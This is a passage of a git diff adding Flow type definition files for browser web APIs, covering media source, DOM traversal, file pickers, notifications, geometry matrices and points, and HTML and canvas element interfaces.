+  +searchParams: URLSearchParams;
+  username: string;
+  toString(): string;
+  toJSON(): string;
+}
+
+declare interface MediaSourceHandle {}
+
+declare class MediaSource extends EventTarget {
+  sourceBuffers: SourceBufferList;
+  activeSourceBuffers: SourceBufferList;
+  // https://w3c.github.io/media-source/#dom-readystate
+  readyState: 'closed' | 'open' | 'ended';
+  duration: number;
+  handle: MediaSourceHandle;
+  addSourceBuffer(type: string): SourceBuffer;
+  removeSourceBuffer(sourceBuffer: SourceBuffer): void;
+  endOfStream(error?: string): void;
+  static isTypeSupported(type: string): boolean;
+}
+
+declare class SourceBuffer extends EventTarget {
+  mode: 'segments' | 'sequence';
+  updating: boolean;
+  buffered: TimeRanges;
+  timestampOffset: number;
+  audioTracks: AudioTrackList;
+  videoTracks: VideoTrackList;
+  textTracks: TextTrackList;
+  appendWindowStart: number;
+  appendWindowEnd: number;
+
+  appendBuffer(data: ArrayBuffer | $ArrayBufferView): void;
+  // TODO: Add ReadableStream
+  // appendStream(stream: ReadableStream, maxSize?: number): void;
+  abort(): void;
+  remove(start: number, end: number): void;
+
+  trackDefaults: TrackDefaultList;
+}
+
+declare class SourceBufferList extends EventTarget {
+  @@iterator(): Iterator<SourceBuffer>;
+  [index: number]: SourceBuffer;
+  length: number;
+}
+
+declare class TrackDefaultList {
+  [index: number]: TrackDefault;
+  length: number;
+}
+
+declare class TrackDefault {
+  type: 'audio' | 'video' | 'text';
+  byteStreamTrackID: string;
+  language: string;
+  label: string;
+  kinds: Array<string>;
+}
+
+// TODO: The use of `typeof` makes this function signature effectively
+// (node: Node) => number, but it should be (node: Node) => 1|2|3
+type NodeFilterCallback = (
+  node: Node
+) =>
+  | typeof NodeFilter.FILTER_ACCEPT
+  | typeof NodeFilter.FILTER_REJECT
+  | typeof NodeFilter.FILTER_SKIP;
+
+type NodeFilterInterface =
+  | NodeFilterCallback
+  | {acceptNode: NodeFilterCallback, ...};
+
+// TODO: window.NodeFilter exists at runtime and behaves as a constructor
+//       as far as `instanceof` is concerned, but it is not callable.
+declare class NodeFilter {
+  static SHOW_ALL: -1;
+  static SHOW_ELEMENT: 1;
+  static SHOW_ATTRIBUTE: 2; // deprecated
+  static SHOW_TEXT: 4;
+  static SHOW_CDATA_SECTION: 8; // deprecated
+  static SHOW_ENTITY_REFERENCE: 16; // deprecated
+  static SHOW_ENTITY: 32; // deprecated
+  static SHOW_PROCESSING_INSTRUCTION: 64;
+  static SHOW_COMMENT: 128;
+  static SHOW_DOCUMENT: 256;
+  static SHOW_DOCUMENT_TYPE: 512;
+  static SHOW_DOCUMENT_FRAGMENT: 1024;
+  static SHOW_NOTATION: 2048; // deprecated
+  static FILTER_ACCEPT: 1;
+  static FILTER_REJECT: 2;
+  static FILTER_SKIP: 3;
+  acceptNode: NodeFilterCallback;
+}
+
+// TODO: window.NodeIterator exists at runtime and behaves as a constructor
+//       as far as `instanceof` is concerned, but it is not callable.
+declare class NodeIterator<RootNodeT, WhatToShowT> {
+  root: RootNodeT;
+  whatToShow: number;
+  filter: NodeFilter;
+  expandEntityReferences: boolean;
+  referenceNode: RootNodeT | WhatToShowT;
+  pointerBeforeReferenceNode: boolean;
+  detach(): void;
+  previousNode(): WhatToShowT | null;
+  nextNode(): WhatToShowT | null;
+}
+
+// TODO: window.TreeWalker exists at runtime and behaves as a constructor
+//       as far as `instanceof` is concerned, but it is not callable.
+declare class TreeWalker<RootNodeT, WhatToShowT> {
+  root: RootNodeT;
+  whatToShow: number;
+  filter: NodeFilter;
+  expandEntityReferences: boolean;
+  currentNode: RootNodeT | WhatToShowT;
+  parentNode(): WhatToShowT | null;
+  firstChild(): WhatToShowT | null;
+  lastChild(): WhatToShowT | null;
+  previousSibling(): WhatToShowT | null;
+  nextSibling(): WhatToShowT | null;
+  previousNode(): WhatToShowT | null;
+  nextNode(): WhatToShowT | null;
+}
+
+/* Window file picker */
+
+type WindowFileSystemPickerFileType = {|
+  description?: string,
+  /*
+   * An Object with the keys set to the MIME type
+   * and the values an Array of file extensions
+   * Example:
+   * accept: {
+   *   "image/*": [".png", ".gif", ".jpeg", ".jpg"],
+   * },
+   */
+  accept: {
+    [string]: Array<string>,
+  },
+|};
+
+type WindowBaseFilePickerOptions = {|
+  id?: number,
+  startIn?:
+    | FileSystemHandle
+    | 'desktop'
+    | 'documents'
+    | 'downloads'
+    | 'music'
+    | 'pictures'
+    | 'videos',
+|};
+
+type WindowFilePickerOptions = WindowBaseFilePickerOptions & {|
+  excludeAcceptAllOption?: boolean,
+  types?: Array<WindowFileSystemPickerFileType>,
+|};
+
+type WindowOpenFilePickerOptions = WindowFilePickerOptions & {|
+  multiple?: boolean,
+|};
+
+type WindowSaveFilePickerOptions = WindowFilePickerOptions & {|
+  suggestedName?: string,
+|};
+
+type WindowDirectoryFilePickerOptions = WindowBaseFilePickerOptions & {|
+  mode?: 'read' | 'readwrite',
+|};
+
+// https://wicg.github.io/file-system-access/#api-showopenfilepicker
+declare function showOpenFilePicker(
+  options?: WindowOpenFilePickerOptions
+): Promise<Array<FileSystemFileHandle>>;
+
+// https://wicg.github.io/file-system-access/#api-showsavefilepicker
+declare function showSaveFilePicker(
+  options?: WindowSaveFilePickerOptions
+): Promise<FileSystemFileHandle>;
+
+// https://wicg.github.io/file-system-access/#api-showdirectorypicker
+declare function showDirectoryPicker(
+  options?: WindowDirectoryFilePickerOptions
+): Promise<FileSystemDirectoryHandle>;
+
+/* Notification */
+type NotificationPermission = 'default' | 'denied' | 'granted';
+type NotificationDirection = 'auto' | 'ltr' | 'rtl';
+type VibratePattern = number | Array<number>;
+type NotificationAction = {
+  action: string,
+  title: string,
+  icon?: string,
+  ...
+};
+type NotificationOptions = {
+  dir?: NotificationDirection,
+  lang?: string,
+  body?: string,
+  tag?: string,
+  image?: string,
+  icon?: string,
+  badge?: string,
+  sound?: string,
+  vibrate?: VibratePattern,
+  timestamp?: number,
+  renotify?: boolean,
+  silent?: boolean,
+  requireInteraction?: boolean,
+  data?: ?any,
+  actions?: Array<NotificationAction>,
+  ...
+};
+
+declare class Notification extends EventTarget {
+  constructor(title: string, options?: NotificationOptions): void;
+  static +permission: NotificationPermission;
+  static requestPermission(
+    callback?: (perm: NotificationPermission) => mixed
+  ): Promise<NotificationPermission>;
+  static +maxActions: number;
+  onclick: ?(evt: Event) => mixed;
+  onclose: ?(evt: Event) => mixed;
+  onerror: ?(evt: Event) => mixed;
+  onshow: ?(evt: Event) => mixed;
+  +title: string;
+  +dir: NotificationDirection;
+  +lang: string;
+  +body: string;
+  +tag: string;
+  +image?: string;
+  +icon?: string;
+  +badge?: string;
+  +vibrate?: Array<number>;
+  +timestamp: number;
+  +renotify: boolean;
+  +silent: boolean;
+  +requireInteraction: boolean;
+  +data: any;
+  +actions: Array<NotificationAction>;
+
+  close(): void;
+}
diff --git a/flow-typed/environments/geometry.js b/flow-typed/environments/geometry.js
new file mode 100644
index 000000000000..dbdd50267b3d
--- /dev/null
+++ b/flow-typed/environments/geometry.js
@@ -0,0 +1,270 @@
+// flow-typed signature: c29a716c1825927cdfc3ad29fe929754
+// flow-typed version: 52ab99c6db/geometry/flow_>=v0.261.x
+
+// https://www.w3.org/TR/geometry-1/
+
+type DOMMatrix2DInit =
+  | {|
+      a: number,
+      b: number,
+      c: number,
+      d: number,
+      e: number,
+      f: number,
+    |}
+  | {|
+      m11: number,
+      m12: number,
+      m21: number,
+      m22: number,
+      m41: number,
+      m42: number,
+    |};
+
+type DOMMatrixInit =
+  | {|
+      ...DOMMatrix2DInit,
+      is2D: true,
+    |}
+  | {|
+      ...DOMMatrix2DInit,
+      is2D: false,
+      m13: number,
+      m14: number,
+      m23: number,
+      m24: number,
+      m31: number,
+      m32: number,
+      m33: number,
+      m34: number,
+      m43: number,
+      m44: number,
+    |};
+
+type DOMPointInit = {|
+  w: number,
+  x: number,
+  y: number,
+  z: number,
+|};
+
+type DOMQuadInit = {|
+  p1: DOMPointInit,
+  p2: DOMPointInit,
+  p3: DOMPointInit,
+  p4: DOMPointInit,
+|};
+
+type DOMRectInit = {|
+  height: number,
+  width: number,
+  x: number,
+  y: number,
+|};
+
+declare class DOMMatrix extends DOMMatrixReadOnly {
+  a: number;
+  b: number;
+  c: number;
+  d: number;
+  e: number;
+  f: number;
+  m11: number;
+  m12: number;
+  m13: number;
+  m14: number;
+  m21: number;
+  m22: number;
+  m23: number;
+  m24: number;
+  m31: number;
+  m32: number;
+  m33: number;
+  m34: number;
+  m41: number;
+  m42: number;
+  m43: number;
+  m44: number;
+
+  static fromFloat32Array(array32: Float32Array): DOMMatrix;
+  static fromFloat64Array(array64: Float64Array): DOMMatrix;
+  static fromMatrix(other?: DOMMatrixInit): DOMMatrix;
+
+  constructor(init?: string | Array<number>): void;
+  invertSelf(): DOMMatrix;
+  multiplySelf(other?: DOMMatrixInit): DOMMatrix;
+  preMultiplySelf(other?: DOMMatrixInit): DOMMatrix;
+  rotateAxisAngleSelf(
+    x?: number,
+    y?: number,
+    z?: number,
+    angle?: number
+  ): DOMMatrix;
+  rotateFromVectorSelf(x?: number, y?: number): DOMMatrix;
+  rotateSelf(rotX?: number, rotY?: number, rotZ?: number): DOMMatrix;
+  scale3dSelf(
+    scale?: number,
+    originX?: number,
+    originY?: number,
+    originZ?: number
+  ): DOMMatrix;
+  scaleSelf(
+    scaleX?: number,
+    scaleY?: number,
+    scaleZ?: number,
+    originX?: number,
+    originY?: number,
+    originZ?: number
+  ): DOMMatrix;
+  setMatrixValue(transformList: string): DOMMatrix;
+  skewXSelf(sx?: number): DOMMatrix;
+  skewYSelf(sy?: number): DOMMatrix;
+  translateSelf(tx?: number, ty?: number, tz?: number): DOMMatrix;
+}
+
+declare class DOMMatrixReadOnly {
+  +a: number;
+  +b: number;
+  +c: number;
+  +d: number;
+  +e: number;
+  +f: number;
+  +is2D: boolean;
+  +isIdentity: boolean;
+  +m11: number;
+  +m12: number;
+  +m13: number;
+  +m14: number;
+  +m21: number;
+  +m22: number;
+  +m23: number;
+  +m24: number;
+  +m31: number;
+  +m32: number;
+  +m33: number;
+  +m34: number;
+  +m41: number;
+  +m42: number;
+  +m43: number;
+  +m44: number;
+
+  static fromFloat32Array(array32: Float32Array): DOMMatrixReadOnly;
+  static fromFloat64Array(array64: Float64Array): DOMMatrixReadOnly;
+  static fromMatrix(other?: DOMMatrixInit): DOMMatrixReadOnly;
+
+  constructor(init?: string | Array<number>): void;
+  flipX(): DOMMatrix;
+  flipY(): DOMMatrix;
+  inverse(): DOMMatrix;
+  multiply(other?: DOMMatrixInit): DOMMatrix;
+  rotate(rotX?: number, rotY?: number, rotZ?: number): DOMMatrix;
+  rotateAxisAngle(
+    x?: number,
+    y?: number,
+    z?: number,
+    angle?: number
+  ): DOMMatrix;
+  rotateFromVector(x?: number, y?: number): DOMMatrix;
+  scale(
+    scaleX?: number,
+    scaleY?: number,
+    scaleZ?: number,
+    originX?: number,
+    originY?: number,
+    originZ?: number
+  ): DOMMatrix;
+  scale3d(
+    scale?: number,
+    originX?: number,
+    originY?: number,
+    originZ?: number
+  ): DOMMatrix;
+  scaleNonUniform(scaleX?: number, scaleY?: number): DOMMatrix;
+  skewX(sx?: number): DOMMatrix;
+  skewY(sy?: number): DOMMatrix;
+  toFloat32Array(): Float32Array;
+  toFloat64Array(): Float64Array;
+  toJSON(): Object;
+  transformPoint(point?: DOMPointInit): DOMPoint;
+  translate(tx?: number, ty?: number, tz?: number): DOMMatrix;
+  toString(): string;
+}
+
+declare class DOMPoint extends DOMPointReadOnly {
+  w: number;
+  x: number;
+  y: number;
+  z: number;
+
+  static fromPoint(other?: DOMPointInit): DOMPoint;
+
+  constructor(x?: number, y?: number, z?: number, w?: number): void;
+}
+
+declare class DOMPointReadOnly {
+  +w: number;
+  +x: number;
+  +y: number;
+  +z: number;
+
+  static fromPoint(other?: DOMPointInit): DOMPointReadOnly;
+
+  constructor(x?: number, y?: number, z?: number, w?: number): void;
+  matrixTransform(matrix?: DOMMatrixInit): DOMPoint;
+  toJSON(): Object;
+}
+
+declare class DOMQuad {
+  +p1: DOMPoint;
+  +p2: DOMPoint;
+  +p3: DOMPoint;
+  +p4: DOMPoint;
+
+  static fromQuad(other?: DOMQuadInit): DOMQuad;
+  static fromRect(other?: DOMRectInit): DOMQuad;
+
+  constructor(
+    p1?: DOMPointInit,
+    p2?: DOMPointInit,
+    p3?: DOMPointInit,
+    p4?: DOMPointInit
+  ): void;
+  getBounds(): DOMRect;
+  toJSON(): Object;
+}
+
+declare class DOMRect extends DOMRectReadOnly {
+  height: number;
+  width: number;
+  x: number;
+  y: number;
+
+  constructor(x?: number, y?: number, width?: number, height?: number): void;
+
+  static fromRect(other?: DOMRectInit): DOMRect;
+}
+
+declare class DOMRectList {
+  +length: number;
+
+  @@iterator(): Iterator<DOMRect>;
+
+  item(index: number): DOMRect;
+  [index: number]: DOMRect;
+}
+
+declare class DOMRectReadOnly {
+  +bottom: number;
+  +height: number;
+  +left: number;
+  +right: number;
+  +top: number;
+  +width: number;
+  +x: number;
+  +y: number;
+
+  constructor(x?: number, y?: number, width?: number, height?: number): void;
+
+  static fromRect(other?: DOMRectInit): DOMRectReadOnly;
+  toJSON(): Object;
+}
diff --git a/flow-typed/environments/html.js b/flow-typed/environments/html.js
new file mode 100644
index 000000000000..ffbf9ac94055
--- /dev/null
+++ b/flow-typed/environments/html.js
@@ -0,0 +1,1710 @@
+// flow-typed signature: 760aeea3b9b767e808097fe22b68a20f
+// flow-typed version: 8584579196/html/flow_>=v0.261.x
+
+/* DataTransfer */
+
+declare class DataTransfer {
+  clearData(format?: string): void;
+  getData(format: string): string;
+  setData(format: string, data: string): void;
+  setDragImage(image: Element, x: number, y: number): void;
+  dropEffect: string;
+  effectAllowed: string;
+  files: FileList; // readonly
+  items: DataTransferItemList; // readonly
+  types: Array<string>; // readonly
+}
+
+declare class DataTransferItemList {
+  @@iterator(): Iterator<DataTransferItem>;
+  length: number; // readonly
+  [index: number]: DataTransferItem;
+  add(data: string, type: string): ?DataTransferItem;
+  add(data: File): ?DataTransferItem;
+  remove(index: number): void;
+  clear(): void;
+}
+
+// https://wicg.github.io/file-system-access/#drag-and-drop
+declare class DataTransferItem {
+  kind: string; // readonly
+  type: string; // readonly
+  getAsString(_callback: ?(data: string) => mixed): void;
+  getAsFile(): ?File;
+  /*
+   * This is not supported by all browsers, please have a fallback plan for it.
+   * For more information, please checkout
+   * https://developer.mozilla.org/en-US/docs/Web/API/DataTransferItem/webkitGetAsEntry
+   */
+  webkitGetAsEntry(): void | (() => any);
+  /*
+   * Not supported in all browsers
+   * For up to date compatibility information, please visit
+   * https://developer.mozilla.org/en-US/docs/Web/API/DataTransferItem/getAsFileSystemHandle
+   */
+  getAsFileSystemHandle?: () => Promise<?FileSystemHandle>;
+}
+
+declare type DOMStringMap = {[key: string]: string, ...};
+
+declare class DOMStringList {
+  @@iterator(): Iterator<string>;
+  +[key: number]: string;
+  +length: number;
+  item(number): string | null;
+  contains(string): boolean;
+}
+
+declare type ElementDefinitionOptions = {|extends?: string|};
+
+declare interface CustomElementRegistry {
+  define(
+    name: string,
+    ctor: Class<Element>,
+    options?: ElementDefinitionOptions
+  ): void;
+  get(name: string): any;
+  whenDefined(name: string): Promise<void>;
+}
+
+// https://www.w3.org/TR/eventsource/
+declare class EventSource extends EventTarget {
+  constructor(
+    url: string,
+    configuration?: {withCredentials: boolean, ...}
+  ): void;
+  +CLOSED: 2;
+  +CONNECTING: 0;
+  +OPEN: 1;
+  +readyState: 0 | 1 | 2;
+  +url: string;
+  +withCredentials: boolean;
+  onerror: () => void;
+  onmessage: MessageEventListener;
+  onopen: () => void;
+  close: () => void;
+}
+
+// https://html.spec.whatwg.org/multipage/webappapis.html#the-errorevent-interface
+declare class ErrorEvent extends Event {
+  constructor(
+    type: string,
+    eventInitDict?: {
+      ...Event$Init,
+      message?: string,
+      filename?: string,
+      lineno?: number,
+      colno?: number,
+      error?: any,
+      ...
+    }
+  ): void;
+  +message: string;
+  +filename: string;
+  +lineno: number;
+  +colno: number;
+  +error: any;
+}
+
+// https://html.spec.whatwg.org/multipage/web-messaging.html#broadcasting-to-other-browsing-contexts
+declare class BroadcastChannel extends EventTarget {
+  name: string;
+  onmessage: ?(event: MessageEvent<>) => void;
+  onmessageerror: ?(event: MessageEvent<>) => void;
+
+  constructor(name: string): void;
+  postMessage(msg: mixed): void;
+  close(): void;
+}
+
+// https://www.w3.org/TR/webstorage/#the-storageevent-interface
+declare class StorageEvent extends Event {
+  key: ?string;
+  oldValue: ?string;
+  newValue: ?string;
+  url: string;
+  storageArea: ?Storage;
+}
+
+// https://www.w3.org/TR/html50/browsers.html#beforeunloadevent
+declare class BeforeUnloadEvent extends Event {
+  returnValue: string;
+}
+
+type ToggleEvent$Init = {
+  ...Event$Init,
+  oldState: string,
+  newState: string,
+  ...
+};
+
+declare class ToggleEvent extends Event {
+  constructor(type: ToggleEventTypes, eventInit?: ToggleEvent$Init): void;
+  +oldState: string;
+  +newState: string;
+}
+
+// TODO: HTMLDocument
+type FocusOptions = {preventScroll?: boolean, ...};
+
+declare class HTMLElement extends Element {
+  blur(): void;
+  click(): void;
+  focus(options?: FocusOptions): void;
+  getBoundingClientRect(): DOMRect;
+  forceSpellcheck(): void;
+
+  showPopover(options?: {|source?: HTMLElement|}): void;
+  hidePopover(): void;
+  togglePopover(
+    options?: boolean | {|force?: boolean, source?: HTMLElement|}
+  ): boolean;
+
+  accessKey: string;
+  accessKeyLabel: string;
+  contentEditable: string;
+  contextMenu: ?HTMLMenuElement;
+  dataset: DOMStringMap;
+  dir: 'ltr' | 'rtl' | 'auto';
+  draggable: boolean;
+  dropzone: any;
+  hidden: boolean;
+  inert: boolean;
+  isContentEditable: boolean;
+  itemProp: any;
+  itemScope: boolean;
+  itemType: any;
+  itemValue: Object;
+  lang: string;
+  offsetHeight: number;
+  offsetLeft: number;
+  offsetParent: ?Element;
+  offsetTop: number;
+  offsetWidth: number;
+  onabort: ?Function;
+  onblur: ?Function;
+  oncancel: ?Function;
+  oncanplay: ?Function;
+  oncanplaythrough: ?Function;
+  onchange: ?Function;
+  onclick: ?Function;
+  oncontextmenu: ?Function;
+  oncuechange: ?Function;
+  ondblclick: ?Function;
+  ondurationchange: ?Function;
+  onemptied: ?Function;
+  onended: ?Function;
+  onerror: ?Function;
+  onfocus: ?Function;
+  onfullscreenchange: ?Function;
+  onfullscreenerror: ?Function;
+  ongotpointercapture: ?Function;
+  oninput: ?Function;
+  oninvalid: ?Function;
+  onkeydown: ?Function;
+  onkeypress: ?Function;
+  onkeyup: ?Function;
+  onload: ?Function;
+  onloadeddata: ?Function;
+  onloadedmetadata: ?Function;
+  onloadstart: ?Function;
+  onlostpointercapture: ?Function;
+  onmousedown: ?Function;
+  onmouseenter: ?Function;
+  onmouseleave: ?Function;
+  onmousemove: ?Function;
+  onmouseout: ?Function;
+  onmouseover: ?Function;
+  onmouseup: ?Function;
+  onmousewheel: ?Function;
+  onpause: ?Function;
+  onplay: ?Function;
+  onplaying: ?Function;
+  onpointercancel: ?Function;
+  onpointerdown: ?Function;
+  onpointerenter: ?Function;
+  onpointerleave: ?Function;
+  onpointermove: ?Function;
+  onpointerout: ?Function;
+  onpointerover: ?Function;
+  onpointerup: ?Function;
+  onprogress: ?Function;
+  onratechange: ?Function;
+  onreadystatechange: ?Function;
+  onreset: ?Function;
+  onresize: ?Function;
+  onscroll: ?Function;
+  onseeked: ?Function;
+  onseeking: ?Function;
+  onselect: ?Function;
+  onshow: ?Function;
+  onstalled: ?Function;
+  onsubmit: ?Function;
+  onsuspend: ?Function;
+  ontimeupdate: ?Function;
+  ontoggle: ?Function;
+  onbeforetoggle: ?Function;
+  onvolumechange: ?Function;
+  onwaiting: ?Function;
+  properties: any;
+  spellcheck: boolean;
+  style: CSSStyleDeclaration;
+  tabIndex: number;
+  title: string;
+  translate: boolean;
+  popover: '' | 'auto' | 'manual' | 'hint';
+
+  +popoverVisibilityState: 'hidden' | 'showing';
+
+  +popoverInvoker: HTMLElement | null;
+}
+
+declare class HTMLSlotElement extends HTMLElement {
+  name: string;
+  assignedNodes(options?: {flatten: boolean, ...}): Node[];
+}
+
+declare class HTMLTableElement extends HTMLElement {
+  tagName: 'TABLE';
+  caption: HTMLTableCaptionElement | null;
+  tHead: HTMLTableSectionElement | null;
+  tFoot: HTMLTableSectionElement | null;
+  +tBodies: HTMLCollection<HTMLTableSectionElement>;
+  +rows: HTMLCollection<HTMLTableRowElement>;
+  createTHead(): HTMLTableSectionElement;
+  deleteTHead(): void;
+  createTFoot(): HTMLTableSectionElement;
+  deleteTFoot(): void;
+  createCaption(): HTMLTableCaptionElement;
+  deleteCaption(): void;
+  insertRow(index?: number): HTMLTableRowElement;
+  deleteRow(index: number): void;
+}
+
+declare class HTMLTableCaptionElement extends HTMLElement {
+  tagName: 'CAPTION';
+}
+
+declare class HTMLTableColElement extends HTMLElement {
+  tagName: 'COL' | 'COLGROUP';
+  span: number;
+}
+
+declare class HTMLTableSectionElement extends HTMLElement {
+  tagName: 'THEAD' | 'TFOOT' | 'TBODY';
+  +rows: HTMLCollection<HTMLTableRowElement>;
+  insertRow(index?: number): HTMLTableRowElement;
+  deleteRow(index: number): void;
+}
+
+declare class HTMLTableCellElement extends HTMLElement {
+  tagName: 'TD' | 'TH';
+  colSpan: number;
+  rowSpan: number;
+  +cellIndex: number;
+}
+
+declare class HTMLTableRowElement extends HTMLElement {
+  tagName: 'TR';
+  align: 'left' | 'right' | 'center';
+  +rowIndex: number;
+  +sectionRowIndex: number;
+  +cells: HTMLCollection<HTMLTableCellElement>;
+  deleteCell(index: number): void;
+  insertCell(index?: number): HTMLTableCellElement;
+}
+
+declare class HTMLMenuElement extends HTMLElement {
+  getCompact(): boolean;
+  setCompact(compact: boolean): void;
+}
+
+declare class HTMLBaseElement extends HTMLElement {
+  href: string;
+  target: string;
+}
+
+declare class HTMLTemplateElement extends HTMLElement {
+  content: DocumentFragment;
+}
+
+declare class CanvasGradient {
+  addColorStop(offset: number, color: string): void;
+}
+
+declare class CanvasPattern {
+  setTransform(matrix: SVGMatrix): void;
+}
+
+declare class ImageBitmap {
+  close(): void;
+  width: number;
+  height: number;
+}
+
+type CanvasFillRule = string;
+
+type CanvasImageSource =
+  | HTMLImageElement
+  | HTMLVideoElement
+  | HTMLCanvasElement
+  | CanvasRenderingContext2D
+  | ImageBitmap;
+
+declare class TextMetrics {
+  // x-direction
+  width: number;
+  actualBoundingBoxLeft: number;
+  actualBoundingBoxRight: number;
+
+  // y-direction
+  fontBoundingBoxAscent: number;
+  fontBoundingBoxDescent: number;
+  actualBoundingBoxAscent: number;
+  actualBoundingBoxDescent: number;
+  emHeightAscent: number;
+  emHeightDescent: number;
+  hangingBaseline: number;
+  alphabeticBaseline: number;
+  ideographicBaseline: number;
+}
+
+declare class CanvasDrawingStyles {
+  width: number;
+  actualBoundingBoxLeft: number;
+  actualBoundingBoxRight: number;
+
+  // y-direction
+  fontBoundingBoxAscent: number;
+  fontBoundingBoxDescent: number;
+  actualBoundingBoxAscent: number;
+  actualBoundingBoxDescent: number;
+  emHeightAscent: number;
+  emHeightDescent: number;
+  hangingBaseline: number;
+  alphabeticBaseline: number;
+  ideographicBaseline: number;
+}
+
+declare class Path2D {
+  constructor(path?: Path2D | string): void;
+
+  addPath(path: Path2D, transformation?: ?SVGMatrix): void;
+  addPathByStrokingPath(
+    path: Path2D,
+    styles: CanvasDrawingStyles,
+    transformation?: ?SVGMatrix
+  ): void;
+  addText(
+    text: string,
+    styles: CanvasDrawingStyles,
+    transformation: ?SVGMatrix,
+    x: number,
+    y: number,
+    maxWidth?: number
+  ): void;
+  addPathByStrokingText(
+    text: string,
+    styles: CanvasDrawingStyles,
+    transformation: ?SVGMatrix,
+    x: number,
+    y: number,
+    maxWidth?: number
+  ): void;
+  addText(
+    text: string,
+    styles: CanvasDrawingStyles,
+    transformation: ?SVGMatrix,
+    path: Path2D,
+    maxWidth?: number
+  ): void;
+  addPathByStrokingText(
+    text: string,
+    styles: CanvasDrawingStyles,
+    transformation: ?SVGMatrix,
+    path: Path2D,
+    maxWidth?: number
+  ): void;
+
+  // CanvasPathMethods
+  // shared path API methods
+  arc(
+    x: number,
+    y: number,
+    radius: number,
+    startAngle: number,
+    endAngle: number,
+    anticlockwise?: boolean
+  ): void;
+  arcTo(
+    x1: number,
+    y1: number,
+    x2: number,
+    y2: number,
+    radius: number,
+    _: void,
+    _: void
+  ): void;
+  arcTo(
+    x1: number,
+    y1: number,
+    x2: number,
+    y2: number,
+    radiusX: number,
+    radiusY: number,
+    rotation: number
+  ): void;
+  bezierCurveTo(
+    cp1x: number,
+    cp1y: number,
+    cp2x: number,
+    cp2y: number,
+    x: number,
+    y: number
+  ): void;
+  closePath(): void;
+  ellipse(
+    x: number,
+    y: number,
+    radiusX: number,
+    radiusY: number,
+    rotation: number,
+    startAngle: number,
+    endAngle: number,
+    anticlockwise?: boolean
+  ): void;
+  lineTo(x: number, y: number): void;
+  moveTo(x: number, y: number): void;
+  quadraticCurveTo(cpx: number, cpy: number, x: number, y: number): void;
+  rect(x: number, y: number, w: number, h: number): void;
+}
+
+declare class ImageData {
+  width: number;
+  height: number;
+  data: Uint8ClampedArray;
+
+  // constructor methods are used in Worker where CanvasRenderingContext2D
+  //  is unavailable.
+  // https://html.spec.whatwg.org/multipage/scripting.html#dom-imagedata
+  constructor(data: Uint8ClampedArray, width: number, height: number): void;
+  constructor(width: number, height: number): void;
+}
+
+declare class CanvasRenderingContext2D {
+  canvas: HTMLCanvasElement;
+
+  // canvas dimensions
+  width: number;
+  height: number;
+
+  // for contexts that aren't directly fixed to a specific canvas
+  commit(): void;
+
+  // state
+  save(): void;
+  restore(): void;
+
+  // transformations
+  currentTransform: SVGMatrix;
+  scale(x: number, y: number): void;
+  rotate(angle: number): void;
+  translate(x: number, y: number): void;
+  transform(
+    a: number,
+    b: number,
+    c: number,
+    d: number,
+    e: number,
+    f: number
+  ): void;
+  setTransform(
+    a: number,
+    b: number,
+    c: number,
+    d: number,
+    e: number,
+    f: number
+  ): void;
+  resetTransform(): void;
+
+  // compositing
+  globalAlpha: number;
+  globalCompositeOperation: string;
+
+  // image smoothing
+  imageSmoothingEnabled: boolean;
+  imageSmoothingQuality: 'low' | 'medium' | 'high';
+
+  // filters
+  filter: string;
+
+  // colours and styles
+  strokeStyle: string | CanvasGradient | CanvasPattern;
+  fillStyle: string | CanvasGradient | CanvasPattern;
+  createLinearGradient(
+    x0: number,
+    y0: number,
+    x1: number,
+    y1: number
+  ): CanvasGradient;
+  createRadialGradient(
+    x0: number,
+    y0: number,
+    r0: number,
+    x1: number,
+    y1: number,
+    r1: number
+  ): CanvasGradient;
+  createPattern(image: CanvasImageSource, repetition: ?string): CanvasPattern;
+
+  // shadows
+  shadowOffsetX: number;
+  shadowOffsetY: number;
+  shadowBlur: number;
+  shadowColor: string;
+
+  // rects
+  clearRect(x: number, y: number, w: number, h: number): void;
+  fillRect(x: number, y: number, w: number, h: number): void;
+  roundRect(
+    x: number,
+    y: number,
+    w: number,
+    h: number,
+    radii?: number | DOMPointInit | $ReadOnlyArray<number | DOMPointInit>
+  ): void;
+  strokeRect(x: number, y: number, w: number, h: number): void;
+
+  // path API
+  beginPath(): void;
+  fill(fillRule?: CanvasFillRule): void;
+  fill(path: Path2D, fillRule?: CanvasFillRule): void;
+  stroke(): void;
+  stroke(path: Path2D): void;
+  drawFocusIfNeeded(element: Element): void;
+  drawFocusIfNeeded(path: Path2D, element: Element): void;
+  scrollPathIntoView(): void;
+  scrollPathIntoView(path: Path2D): void;
+  clip(fillRule?: CanvasFillRule): void;
+  clip(path: Path2D, fillRule?: CanvasFillRule): void;
+  resetClip(): void;
+  isPointInPath(x: number, y: number, fillRule?: CanvasFillRule): boolean;
+  isPointInPath(
+    path: Path2D,
+    x: number,
+    y: number,
+    fillRule?: CanvasFillRule
+  ): boolean;
+  isPointInStroke(x: number, y: number): boolean;
+  isPointInStroke(path: Path2D, x: number, y: number): boolean;
+
+  // text (see also the CanvasDrawingStyles interface)
+  fillText(text: string, x: number, y: number, maxWidth?: number): void;
+  strokeText(text: string, x: number, y: number, maxWidth?: number): void;
+  measureText(text: string): TextMetrics;
+
+  // drawing images
+  drawImage(image: CanvasImageSource, dx: number, dy: number): void;
+  drawImage(
+    image: CanvasImageSource,
+    dx: number,
+    dy: number,
+    dw: number,
+    dh: number
+  ): void;
+  drawImage(
+    image: CanvasImageSource,
+    sx: number,
+    sy: number,
+    sw: number,
+    sh: number,
+    dx: number,
+    dy: number,
+    dw: number,
+    dh: number
+  ): void;
+
+  // hit regions
+  addHitRegion(options?: HitRegionOptions): void;
+  removeHitRegion(id: string): void;
+  clearHitRegions(): void;
+
+  // pixel manipulation
+  createImageData(sw: number, sh: number): ImageData;
+  createImageData(imagedata: ImageData): ImageData;
+  getImageData(sx: number, sy: number, sw: number, sh: number): ImageData;
+  putImageData(imagedata: ImageData, dx: number, dy: number): void;
+  putImageData(
+    imagedata: ImageData,
+    dx: number,
+    dy: number,
+    dirtyX: number,
+    dirtyY: number,
+    dirtyWidth: number,
+    dirtyHeight: number
+  ): void;
+
+  // CanvasDrawingStyles
+  // line caps/joins
+  lineWidth: number;
+  lineCap: string;
+  lineJoin: string;
+  miterLimit: number;
+
+  // dashed lines
+  setLineDash(segments: Array<number>): void;
+  getLineDash(): Array<number>;
+  lineDashOffset: number;
+
+  // text
+  font: string;
+  textAlign: string;
+  textBaseline: string;
+  direction: string;
+
+  // CanvasPathMethods
+  // shared path API methods
+  closePath(): void;
+  moveTo(x: number, y: number): void;
+  lineTo(x: number, y: number): void;
